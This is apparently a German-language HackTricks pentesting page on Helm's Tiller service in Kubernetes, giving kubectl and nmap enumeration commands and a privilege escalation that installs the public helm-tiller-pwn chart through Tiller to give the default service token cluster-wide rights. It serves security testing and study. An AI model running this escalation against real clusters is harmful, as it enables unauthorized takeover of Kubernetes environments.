tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks

Grundlegende Informationen

Helm ist der Paketmanager für Kubernetes. Er ermöglicht das Verpacken von YAML-Dateien und deren Verteilung in öffentlichen und privaten Repositories. Diese Pakete werden Helm Charts genannt. Tiller ist der Dienst, der standardmäßig auf dem Port 44134 läuft und den Dienst anbietet.

Standardport: 44134

PORT      STATE SERVICE VERSION
44134/tcp open  unknown

Aufzählung

Wenn Sie Pods und/oder Dienste verschiedener Namespaces auflisten können, listen Sie diese auf und suchen Sie nach denjenigen mit "tiller" in ihrem Namen:

bash
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"

Beispiele:

bash
kubectl get pods -n kube-system
NAME                                       READY   STATUS             RESTARTS   AGE
kube-scheduler-controlplane                1/1     Running            0          35m
tiller-deploy-56b574c76d-l265z             1/1     Running            0          35m

kubectl get services -n kube-system
NAME            TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)                  AGE
kube-dns        ClusterIP   10.96.0.10     <none>        53/UDP,53/TCP,9153/TCP   35m
tiller-deploy   ClusterIP   10.98.57.159   <none>        44134/TCP                35m

Sie könnten auch versuchen, diesen Dienst zu finden, indem Sie den Port 44134 überprüfen:

bash
sudo nmap -sS -p 44134 <IP>

Sobald Sie es entdeckt haben, können Sie mit ihm kommunizieren, indem Sie die Client-Helm-Anwendung herunterladen. Sie können Tools wie homebrew verwenden oder sich die offizielle Veröffentlichungsseite** ansehen.** Für weitere Details oder andere Optionen siehe die Installationsanleitung.

Dann können Sie den Dienst auflisten:

helm --host tiller-deploy.kube-system:44134 version

Privilegieneskalation

Standardmäßig wurde Helm2 im Namespace kube-system mit hohen Rechten installiert. Wenn Sie also den Dienst finden und Zugriff darauf haben, könnte dies Ihnen ermöglichen, die Rechte zu eskalieren.

Alles, was Sie tun müssen, ist, ein Paket wie dieses zu installieren: https://github.com/Ruil1n/helm-tiller-pwn, das dem Standarddiensttoken Zugriff auf alles im gesamten Cluster gewährt.

git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart

In http://rui0.cn/archives/1573 finden Sie die Erklärung des Angriffs, aber im Grunde genommen, wenn Sie die Dateien clusterrole.yaml und clusterrolebinding.yaml im Verzeichnis helm-tiller-pwn/pwnchart/templates/ lesen, können Sie sehen, wie alle Berechtigungen dem Standard-Token zugewiesen werden.

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks